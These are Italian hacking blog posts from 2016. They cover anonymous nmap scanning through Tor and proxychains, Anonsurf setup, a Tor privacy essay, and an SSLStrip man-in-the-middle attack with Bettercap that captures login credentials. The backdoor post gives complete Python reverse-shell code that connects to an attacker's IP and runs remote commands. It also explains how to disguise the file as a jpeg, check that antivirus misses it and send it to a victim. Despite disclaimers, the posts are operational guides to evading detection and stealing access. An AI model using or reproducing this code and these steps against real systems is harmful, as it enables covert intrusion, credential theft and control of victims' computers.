giovedì 14 luglio 2016

Migliorare l'anonimato su Kali Linux 2.0

Nonostante l’ampia collezione di tools per il pentesting, uno dei punti deboli di Kali è sicuramente l’anonimato. In questo post vedremo come installare un sistema di “transparent proxy” attraverso il modulo Anonsurf presente di default su Parrot OS. Anonsurf è uno script in bash che lavora sulle regole di iptables costringendo tutte le applicazioni a comunicare solo e soltanto con Tor. 

Prima di cominciare, è necessario aggiungere il repo PPA di i2p e configurarlo, dunque autentichiamoci come root e diamo i seguenti comandi:

 echo "deb http://deb.i2p2.no/ jessie main" > /etc/apt/sources.list.d/i2p.list  
 wget https://geti2p.net/_static/i2p-debian-repo.key.asc -O /tmp/i2p-debian-repo.key.asc  
 apt-key add /tmp/i2p-debian-repo.key.asc  
 rm /tmp/i2p-debian-repo.key.asc  
 apt-get update  
 apt-get install i2p-keyring  

Una volta terminata la procedura, usiamo git clone per creare una copia locale dei file di Anonsurf. L’archivio originale si trova a questo indirizzo:


Quindi diamo i permessi necessari e portiamoci nella directory kali-anonsurf:


Infine, costruiamo un pacchetto .deb e procediamo con l’installazione:


A questo punto, dovremmo essere in grado di eseguire il nostro script. Lanciamo il comando anonsurf per vedere se tutto è andato a buon fine:


Aggiungendo l'opzione start, avvieremo la modalità anonima e qualsiasi attività di sistema, comprese quelle svolte da terminale, sarà proxata con Tor. Per un miglior risultato, consiglio comunque di installare Parrot OS, che unisce gli strumenti di Kali ad una maggiore tutela della sicurezza e della privacy.

giovedì 26 maggio 2016

Connessioni TCP anonime con la rete Tor: il Port scanning

Attenzione: post a scopo didattico. Non mi assumo alcuna responsabilità riguardo all'uso che ne farete.

L’anonimato è uno dei requisiti fondamentali quando si effettua un penetration test su una macchina remota. Ogni volta che usiamo strumenti di hacking, stabiliamo una connessione con il bersaglio inviando pacchetti contenenti il nostro indirizzo ip. Qualora esso venga rilevato da un sysadmin o da un dispositivo software/hardware per la sicurezza, il minimo che può succedere è che il nostro fornitore di servizi ci chieda conto del traffico anomalo. 

Nel post precedente ho accennato alla rete Tor e al modo in cui, tramite il sistema “onion routing”, riesce a camuffare la provenienza geografica dei pacchetti. Oggi vedremo come lanciare un Port scanning totalmente anonimo per conoscere i servizi in esecuzione sull’host e individuare eventuali vulnerabilità. Per chi non lo sapesse, il Port scanning è una delle fasi più importanti in un attacco informatico. Prima di capire come si svolge, chiariamo velocemente il concetto di “porta”. 

Internet può essere paragonato a una grande città fatta di strade (gli indirizzi ip) e numeri civici (le porte). Quando ci si connette a www.ebay.com, il nostro client invia una richiesta al server 66.135.209.52 in ascolto sulla porta 80, che è quella utilizzata dai siti web. In tutto esistono più di 65000 porte, di cui le prime 1024 “standard”, cioè riservate a servizi specifici (ad esempio, la porta 20 gestisce il trasferimento dati, la porta 443 le connessioni https e così via). Il Port scanning consente di determinare quali sono (se ci sono) le porte aperte bussando a ognuna di esse. 

Poiché si tratta di una tecnica molto rumorosa, al fine di non lasciare tracce nei log di sistema, faremo passare tutto il traffico all’interno del circuito Tor. Per il nostro esperimento userò una macchina virtuale Kali Linux con i seguenti tools:
  • Tor
  • Proxychains
  • Nmap
Come prima cosa, andremo a installare Tor dai repository di Kali:
 apt-get update  
 apt-get install tor  

Una volta terminata l’installazione, lanciamo il daemon e controlliamo lo stato:
 service tor start  
 service tor status  

Se tutto è andato a buon fine dovrebbe apparirvi questa schermata:


PROXYCHAINS

Per poter utilizzare Tor in combinazione con un Port scanner (e non solo), avremo bisogno di reindirizzare le richieste dell’applicazione sulla porta 9050. A tal proposito, ci viene in aiuto Proxychains, un programmino open source che impone al flusso TCP generato da un qualsiasi client di seguire una catena di proxy definita dall’utente. Dal momento che Proxychains è impostato per lavorare con Tor, faremo in modo che sia quest’ultimo a ricevere le connessioni. Per cominciare, aggiorniamo i pacchetti e installiamo il tool:
 apt-get update  
 apt-get install proxychains  

In seguito, possiamo apportare alcune modifiche al file di configurazione che si trova in /etc/proxychains.conf. Di default, il programma sfrutta un concatenamento rigoroso, ma ciò comporta che tutti i proxy da noi elencati dovranno essere attivi. Se stiamo usando Tor, lasciamo così com’è, altrimenti commentiamo il valore strict_chain e de-commentiamo dynamic_chain:


Ora portiamoci in fondo allo script e sostituiamo il protocollo SOCKS4 con il più sicuro e moderno SOCKS5:
 socks5 127.0.0.1 9050  

È probabile che incontreremo una situazione in cui il Port scanning fallisce poiché l’endpoint di Tor rileva la nostra attività e ci blocca. In tal caso, basterà semplicemente aggiungere uno o più server proxy pubblici (meglio se di tipo SOCKS5) alla fine della lista. Il traffico attraverserà la rete Tor fino ad essere inoltrato ai proxy che abbiamo scelto, secondo quest’ordine:
 client<-->tor<-->proxy1<-->proxy2<-->server  

DNS LEAK

Il problema più grande con le applicazioni che usano Tor è la cosiddetta perdita di dati DNS (o DNS leak). La maggior parte degli utenti crede che basti nascondere l’indirizzo ip per navigare in incognito. In realtà, il funzionamento di Internet è assai più complesso e una miriade di fattori può seriamente compromettere il nostro anonimato. Uno di questi è proprio il Domain Name System (DNS), ossia il meccanismo che associa i vari nomi di dominio agli indirizzi ip corrispondenti. Anche se il traffico sarà instradato su Tor, il sistema operativo continuerà a inviare richieste ai server dns del nostro ISP, i quali terranno traccia di ogni singola attività online. 

Per ovviare a questa "falla", Proxychains utilizza uno script che si trova in /usr/lib/proxychains3/proxyresolv, impostato per risolvere gli hostnames tramite il server 4.2.2.2 di Level 3 Communications. È possibile scegliere il proprio DNS modificando il file proxyresolv dopo avergli dato i permessi necessari. 
Portiamoci ora sul sito www.dnsleaktest.com e vediamo se ci sono perdite. Da terminale, lanciamo i comandi:
 service tor start  
 proxychains [my-browser] www.dnsleaktest.com   

L'indirizzo ip che vedremo è quello del nodo di uscita di Tor:


Cliccando su Extended test possiamo sapere quali server DNS stiamo interpellando. Se solo uno di questi appartiene al nostro ISP, vuol dire che c’è una perdita:


Dai risultati del test, sembra che sia tutto ok: nessun DNS rilevato è riconducibile a noi.

Nmap

Arrivati a questo punto, non ci resta che introdurre il nostro Port scanner, preinstallato su tutte le principali distro Linux dedicate al pentesting. Nmap offre un’infinita di tecniche per eseguire una scansione utile e personalizzata, ma anche qui c’è da stare attenti, poiché alcune di esse usano pacchetti raw (grezzi) che bypassano la rete Tor stabilendo una connessione diretta con il bersaglio. È il caso, per esempio, del SynScan, attivo di default per velocizzare la scansione, oppure del PingScan, che inviando pacchetti raw ICMP di tipo “echo”, serve a determinare se un host è disponibile. 

Per le vostre scansioni consiglio di usare il seguente comando:
 proxychains nmap -sT -Pn -sV -p [porte da scansionare]   

-sT: esegue una scansione TCP completa in modo che i pacchetti possano attraversare la rete Tor
-Pn: disabilita il rilevamento dell’host (ping)
-sV: fornisce maggiori informazioni sui servizi attivi 
-p : indica le porte da scansionare

In ogni caso, possiamo aggiungere un’eccezione al firewall per “droppare” i pacchetti in uscita che arriveranno a destinazione rivelando il nostro indirizzo ip:
 iptables –A OUTPUT --dest [ip-target] –j DROP  

Nel prossimo articolo spiegherò come configurare un proxy trasparente per avere tutto il sistema sotto la rete Tor.

venerdì 6 maggio 2016

Anonimato in rete: il protocollo onion routing


I governi corrotti e le big companies ti hanno convinto che se vuoi essere un buon cittadino non devi avere nulla da nascondere, che solo chi sguazza nell’illegalità reclama la propria privacy. L’argomento “nothing to hide, nothing to fear” domina il dibattito sullo spionaggio elettronico, e sempre più spesso le persone ripetono questo mantra ignare della pericolosità che si cela dietro. Affermare che la riservatezza non è un diritto equivale infatti ad affermare che ogni singolo aspetto della tua vita può essere manipolato e soggiogato dal potere. La maggior parte di noi è convinta che i programmi di sorveglianza riguardino esclusivamente i delinquenti, in particolare quelli che commettono reati di una certa gravità. Tuttavia, stando alle rivelazioni dell’ex analista della NSA Edward Snowden, non solo emerge un ruolo attivo dei servizi d’intelligence nelle indagini per crimini comuni (indagini che, a quanto pare, sarebbero condotte in modo non proprio trasparente), ma ben il 90% delle informazioni che vengono archiviate appartengono a persone mai sospettate di illeciti. Tra i file raccolti, oltre alle migliaia di mail e sms, anche cartelle cliniche, scatti osè, video conversazioni, curricula e persino certificati scolastici. Materiale che, a detta della stessa NSA, non ha alcuna rilevanza ai fini della sicurezza interna, ma che rimane memorizzato sui suoi server come una sorta di enorme database globale.

Tor ti salva dagli spioni

Di fronte alle continue ingerenze dei governi e delle agenzie di spionaggio, la tutela della propria identità digitale è un dovere di ogni libero cittadino. Muoversi online senza lasciare tracce non è cosa facile, ma esiste uno strumento che, se usato correttamente, è in grado di fornire un alto livello di anonimato, rendendo quasi impossibile l’analisi del traffico. Si tratta di una rete (o meglio: di una sottorete) nota con il nome Tor, gestita da un cospicuo numero di volontari e attivisti sparsi per il globo,  i quali condividono la propria connessione in modo da creare percorsi random tra sorgente e destinatario. Ciascun computer nella rete viene detto nodo o relay, e a seconda della posizione assume un nome ben preciso (ad esempio, l’host che comunica direttamente con il web server si chiama “exit node”). Caratteristica fondamentale di Tor è che il traffico, oltre ad essere anonimo, è anche protetto da un sistema di crittografia a strati: il famoso “onion routing” o “instradamento a cipolla”. E proprio come una cipolla, l’informazione viene decifrata step by step fino a raggiungere il nodo d’uscita, che la trasmetterà in chiaro alla pagina di destinazione. Naturalmente, anche qualora il flusso fosse intercettato, sarebbe comunque impossibile risalire al client d’origine, poiché né l’exit node né i middle relays conoscono il percorso completo.

(Struttura della rete Tor. Come si evince dall'immagine, l'ultimo nodo comunica in chiaro con il server (freccia nera). Teoricamente, controllando l'exit node, è possibile sniffare il traffico dati ma non risalire all'ip del richiedente)

Da strumento di democrazia a target della NSA

A causa della sua struttura decentralizzata, la rete Tor è finita nel mirino dei servizi d’intelligence, subendo negli anni ripetuti tentativi di attacco e deanonimizzazione. In un rapporto “top secret” trapelato da Snowden, la NSA classifica Tor come “the king of internet anonymity” e ammette che non è in grado di ricostruire l’identità degli utenti se non attraverso lo sfruttamento di vulnerabilità insite nei loro browser. Tradotto in parole povere: il sistema onion routing gode di buona salute e non è stato compromesso nel suo funzionamento. Una bella notizia per tutti quei giornalisti e attivisti che operano in paesi come la Cina, dove  l’uso di Tor si rivela fondamentale non solo per aggirare la censura, ma anche per mantenere l’anonimato. Lo stesso Snowden ha fornito informazioni sulle attività di controllo della NSA via Tor, e sempre grazie a questo strumento sono stati diffusi i file di Wikileaks sulle guerre in Iraq e Afghanistan. Nonostante i nobili intenti e gl’indubbi meriti, la rete più anonima di Internet si è però guadagnata una pessima reputazione sulla stampa mainstream. Se da un lato infatti c’è chi ricorre a Tor per accedere a siti oscurati, dall’altro c’è chi lo utilizza per commettere ogni sorta di crimine. Come tutte le cose, anche l’anonimato ha il suo rovescio della medaglia, un aspetto inquietante che spesso genera diffidenza, ma che paradossalmente conferma l’intrinseca neutralità di un diritto.



giovedì 28 aprile 2016

Che cos'è una backdoor e perché può essere molto pericolosa

Attenzione: questo post è puramente a scopo didattico/informativo e non vuole in alcun modo incoraggiare attività illecite. Prova le seguenti tecniche solo nella tua rete locale o se sei stato autorizzato. Ricorda che l’accesso abusivo a un sistema informatico è un reato punibile in quasi tutti gli Stati del mondo. 

Negli ultimi anni, il termine backdoor è entrato nell’uso comune per indicare un software malevolo (o malware) che consente di prendere il controllo di un sistema remoto. Questa tecnica viene ampiamente utilizzata per violare le reti aziendali, ma anche per infiltrarsi nei dispositivi degli utenti bypassando le normali misure antintrusione (firewall, antivirus, ids ecc).

Al giorno d’oggi, esistono numerosi framework in grado di automatizzare la creazione di backdoor all’interno di file apparentemente innocui come documenti Word o PDF. Tuttavia, i più comuni antivirus in commercio rileveranno la minaccia e renderanno vani i nostri tentativi, per cui la soluzione migliore è imparare a creare da soli la propria backdoor.

In questo post, dimostrerò com’è possibile ottenere una reverse shell, ossia il prompt dei comandi di un pc remoto, senza che la vittima si accorga di essere spiata. Per l’occasione ho scritto una “mini” backdoor in Python che userò per simulare un attacco nella mia rete locale. Ecco il codice:
 import os  
 import socket  
 import subprocess  
 HOST = '192.168.1.102'   
 PORT = 4444        
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
 s.connect((HOST, PORT))  
 s.send('Connessione stabilita (premi INVIO per continuare)')  
 try:  
   while 1:  
     data = s.recv(1024)  
     if data.startswith('cd') == True:  
       try:  
         os.chdir(data[3:].replace('\n',''))  
         s.send ('Directory corrente: '+str(os.getcwd()))  
       except:  
         s.send('Impossibile trovare il percorso specificato')  
       continue;  
     else:  
       run_cmd = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)  
       output = run_cmd.stdout.read()  
       output += run_cmd.stderr.read()  
       s.send(str(output)+'[shell]:')  
 except:  
   s.close()  

Com'è strutturato

Quando creiamo uno script con Python, la prima cosa da fare è importare i moduli che ci serviranno per gestire i vari eventi. Nel caso specifico, avremo bisogno di tre moduli:
  • os: ci permette di eseguire alcuni comandi specifici del Sistema Operativo su cui si trova la vittima;
  • socket: apre un flusso di comunicazione bidirezionale tra host/programmi diversi. Lo useremo per inviare e ricevere dati;
  • subprocess: lancia nuovi processi di sistema fornendo all'attaccante la possibilità di interagire con una shell di tipo bash, cmd.exe ecc.

Dopo aver stabilito come l’interprete dovrà organizzare il codice, creiamo due variabili: una per l’indirizzo ip e l’altra per la porta su cui vogliamo ricevere la connessione. Trattandosi di un attacco reverse shell, non saremo noi a connetterci alla vittima, bensì sarà la vittima a connettersi a noi mettendoci a disposizione il prompt. 

Attraverso la funzione connect(), la nostra backdoor si collegherà a noi, e per essere certi che la connessione sia andata a buon fine, le faremo inviare una stringa. A questo punto, ho inserito il codice in un blocco try al fine di sollevare un’eccezione se il socket non viene chiuso correttamente, poiché in tal caso genererebbe un errore sullo schermo della vittima.

Per continuare a ricevere comandi dal server e mandarli in esecuzione, abbiamo bisogno di un loop infinito, all’interno del quale il blocco if consente di cambiare directory avvisandoci se il percorso non esiste o non è corretto. L’ultima porzione di codice si occupa di eseguire il comando richiesto e di inviarlo in output al rispettivo handler sotto forma di stringa. 

Dimostrazione pratica

Ora che abbiamo visto come lavorerà il nostro script, non ci resta che convertirlo in un file .exe da inviare alla vittima. Per rendere il tutto più credibile, possiamo camuffarlo da jpeg o da semplice Documento Office. È qui che entra in gioco PyInstaller di cui ho parlato in precedenza. Come prima cosa, copiamo la backdoor (ed eventualmente l’icona che vogliamo assegnarle), in C:\Python27\Scripts, dopodiché lanciamo da terminale il comando (ricordatevi di inserire i nomi dei vostri file):


Il risultato, visibile nella cartella dist, sarà un eseguibile stand-alone in tutto e per tutto simile ad un jpeg:


Proverò adesso a scansionarlo per vedere se l'antivirus me lo rileva come minaccia:


Ottimo, il file è “pulito”, possiamo inviarlo al bersaglio via mail, tramite link o installarlo fisicamente con una pendrive, prima però dobbiamo impostare un listener su cui ricevere la connessione. Userò il modulo multi/handler di Metasploit, noto framework di exploitation che trovate preinstallato su tutte le distro Linux dedicate al pentesting:


Anche in questo caso, non dimenticate di inserire il vostro local host. Una volta che la vittima avrà aperto il file, potremo curiosare tra le sue cartelle…


…o magari lasciarle un ricordino per farle capire che siamo passati. :-D


venerdì 22 aprile 2016

Hacking in Python: preparazione dell'ambiente di lavoro

Python è uno dei linguaggi di programmazione più usati nell’ambito del penetration testing. La sua sintassi chiara e asciutta, ma al tempo stesso molto potente, permette di sviluppare strumenti anche complessi con un codice intuitivo e una fluidità basata sull’essenziale. Per tutti coloro che si avvicinano al mondo dell’hacking e vogliono imparare a scrivere da soli i propri script o a modificare quelli esistenti, Python è sicuramente una scelta azzeccata. L’installazione viene fornita con una comoda e funzionale libreria standard, in cui è presente un’ampia varietà di moduli per lo svolgimento dei compiti più disparati. Possiamo infatti avvalerci del modulo socket, contenente i costrutti basilari del networking e della programmazione a basso livello, per creare un piccolo programmino che trova l’ip di un server:
 import socket   
 host = 'www.sitoweb.com'   
 port = 80  
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
 ip_server = socket.gethostbyname(host)  
 print ip_server  
Oppure usare il modulo urllib2 per implementare un client http in grado restituirci il contenuto di una pagina web:
 import urllib2  
 richiesta = urllib2.Request('http://www.sitoweb.com/')  
 risposta = urllib2.urlopen(richiesta).read()  
 print risposta  
E questo è niente rispetto alle grandi potenzialità che Python ci offre. Ad ogni modo, prima di addentrarci nella sintassi e di mettere mano al codice, dobbiamo installare tutti gli strumenti necessari. Trattandosi di un linguaggio interpretato, per scrivere ed eseguire programmi Python c’è bisogno di un interprete. Rechiamoci dunque sul sito www.python.org e nella sezione download scarichiamo la versione 2.7. Questo procedimento vale solo per gli utenti Windows, in quanto sui sistemi Linux e MAC OS, Python di solito è preinstallato. Una volta terminato il tutto, settiamo la variabile d’ambiente PATH in modo da poter richiamare i nostri script .py da qualsiasi directory:



Al fine di rendere più agevole l’interazione con gli applicativi Microsoft (Office, Explorer, Outlook e così via), scarichiamo e installiamo il pacchetto pywin32 disponibile su sourceforge.netAnche in questo caso, l’installazione è molto semplice e basta seguire le indicazioni, ma se riscontrate problemi fatemelo sapere nei commenti. 

Come ultimo step andremo a configurare uno strumento molto interessante di nome PyInstaller. Grazie ad esso, è possibile generare file .exe compatibili con diverse piattaforme. In pratica l’utente sarà in grado di eseguire il nostro applicativo stand-alone senza installare alcun inteprete Python. Questo passaggio risulta particolarmente utile se vogliamo iniettare una backdoor sul pc vittima. 

Dopo aver scaricato PyInstaller dal sito ufficiale, estraiamo l’intero contenuto nella directory dove risiede Python. Nel mio caso c:\Python27:



Apriamo il prompt dei comandi e portiamoci sul percorso della cartella appena decompressa. Quindi diamo il comando dir per visualizzarne i file: 


A noi interessa il file setup.py, da cui possiamo avviare l’installazione del programma digitando:
 python setup.py install   
Se non ci sono problemi, nel giro di pochi secondi il nostro PyInstaller sarà pronto a fare il suo dovere. Prossimamente, vedremo come sfruttarlo per impacchettare un piccolo malware e camuffarlo da jpeg. 

giovedì 14 aprile 2016

MITM versus HSTS: la tua password è al sicuro?

Nota: questo post è un proof of concept. Non mi assumo alcuna responsabilità riguardo all’uso che ne farete.

Il man in the middle (abbreviato MITM) è uno degli attacchi informatici più subdoli e pericolosi all’interno di una rete LAN. Come dice il nome stesso, l’hacker si pone al centro di una comunicazione tra la vittima e il server riuscendo a impersonificare ciascuno dei nodi coinvolti. In questo articolo non descriverò genericamente come viene fatto un attacco di tipo MITM, ma mi soffermerò su uno scenario preciso in cui tutti noi ci troviamo quando eseguiamo il login su un sito https, ad esempio la nostra banca. 

È credenza comune pensare che le informazioni trasmesse sul web tramite protocollo crittografato siano al sicuro e non decifrabili da utenti malintenzionati. Questo perché i siti che applicano uno strato ssl al normale traffico (in chiaro) http, fanno affidamento su un certificato rilasciato da un organo terzo, le cosiddette CA (Certification Authorities), le quali garantiscono la sicurezza e la privacy delle comunicazioni. In sostanza, quando il browser interpella un web server protetto da protocollo https, fra i due host viene negoziato un complesso algoritmo di cifratura a partire dalla chiave pubblica del certificato. Da qui il nome Public Key Infrastructure (PKI), che designa tutti quei soggetti e quelle fasi che concorrono a stabilire lo scambio sicuro dei dati. 

Tuttavia, com’è stato dimostrato negli ultimi anni, il sistema basato sulla combinazione di http con la tecnologia ssl, non è esente da vulnerabilità. Nel 2009, il brillante hacker conosciuto come Moxie Marlinspike, presentò al Black Hat DC una tecnica chiamata SSLStrip, capace di aggirare il tunnel crittografico creato da ssl dirottando tutto il traffico su una connessione non sicura. Ma in che modo ci riesce? Vediamolo nel dettaglio. 

In realtà, SSLStrip non è altro che un proxy che a sua volta agisce come man in the middle. L’attacker intercetta i reindirizzamenti https inviati dal server tramite una reply http, stabilendo con esso una connessione protetta, ma continuando a mantenere con la vittima una connessione non protetta. Successivamente, l’aggressore modifica i redirects da https a http, e una volta effettuato il downgrade della pagina, invia la risposta alla vittima, la quale non sospetterà affatto che tutto il suo traffico, compresi username e password, è stato intercettato e letto. 

Il principale punto di forza di SSLStrip risiede nella “propensione” dei vari browser a comunicare tramite protocollo (non sicuro) http piuttosto che https. In parole povere, se l’utente digita nella barra URL “miabancaonline.com”, il browser inizierà una comunicazione in chiaro, nonostante il traffico verrà subito reindirizzato su https. Per ovviare a questo problema, alcuni esperti di sicurezza si sono dati da fare ideando lo standard HSTS, tutt’oggi implementato dalla maggior parte dei browser e web server, grazie al quale questi ultimi “obbligano” i vari Google Chrome, Firefox e di recente (pare) anche Internet Explorer, a stabilire in futuro una connessione protetta col sito. 

Sebbene tale meccanismo abbia risolto in larga parte lo stripping di ssl, più avanti dimostrerò come un utente che effettua una request al server “pippo.com” per la prima volta, risulti potenzialmente esposto ad attacchi MITM. Per capirne il motivo, bisogna considerare il funzionamento di HSTS: dopo aver interpellato “pippo.com”, il nostro client riceverà una risposta http contenente un particolare header chiamato Strict Transport Security, con cui si avvisa il browser che le sessioni successive dovranno avvenire solo in maniera protetta, cioè utilizzando https. Diamo un rapido sguardo alla sintassi (in questo caso, ho scelto come esempio la pagina di login di libero.it):






La funzione Strict-Transport-Security prende due parametri: max-age e includeSubDomains. Il primo comunica all’user-agent (browser) il tempo, espresso in secondi, in cui il sito dev’essere accessibile solo tramite https, mentre includeSubDomains (opzionale) specifica che la protezione si applica a tutti i sottodomini della pagina, il che aumenta notevolmente il livello di sicurezza. 

Fatto questo doveroso e generalissimo excursus, direi che è arrivato il momento di passare alla pratica. Come attacker userò una macchina virtuale VMware su cui è installato Kali Linux 2.0 (ma vanno bene anche Parrot OS, BackBox o la distro che più vi piace). Per effettuare lo sniffing dei pacchetti, avremo bisogno di un tool apposito. Io ho scelto il validissimo Bettercap, un vero e proprio MITM framework che implementa il supporto a SSLStrip+ (o SSLStrip2) di LeonardoNve. La vittima verrà reindirizzata a un sottodominio wwww e tramite un DNS spoofing tale sottodominio verrà risolto. Questa tecnica è necessaria per poter aggirare, in determinate circostanze, la policy HSTS. 


Ma bando alle ciance e passiamo all’azione.  :D

Dopo esserci autenticati come utenti root, diamo il comando netdiscover per trovare l’ip del nostro bersaglio. L’output che ci viene restituito è una serie di host connessi alla rete. Il primo indirizzo identifica il gateway. 


A questo punto, lanciamo Bettercap in modalità SSLStrip con il comando:
 bettercap -X -T [ip-target] --proxy -P POST

È importante tenere a mente che di default l’interfaccia di rete è impostata su eth0. Se state operando su un’interfaccia diversa, ad esempio wlan, potete cambiarla aggiungendo l’opzione:
 -i [your-network-interface]  

Per essere certi di quale sia la nostra interfaccia, lanciamo da terminale il comando ifconfig




Ora dobbiamo attendere che la nostra vittima inserisca username e password in un form. Nel frattempo, Bettercap intercetterà tutte le connessioni restituendoci i log. :)




Come si vede dall'immagine, l’attacco è andato a buon fine e le credenziali sono state strippate. Ricordo che questo metodo non funziona sui siti che rientrano nella lista HSTS precaricata nel browser, ma in seguito esploreremo altre tecniche con cui proveremo ad assumere il controllo di un sistema remoto. 

Nb: Bettercap è scritto in Ruby. Per installarlo correttamente, è necessario che tutte le dipendenze siano soddisfatte (build-essential, ruby-dev, libpcap-dev).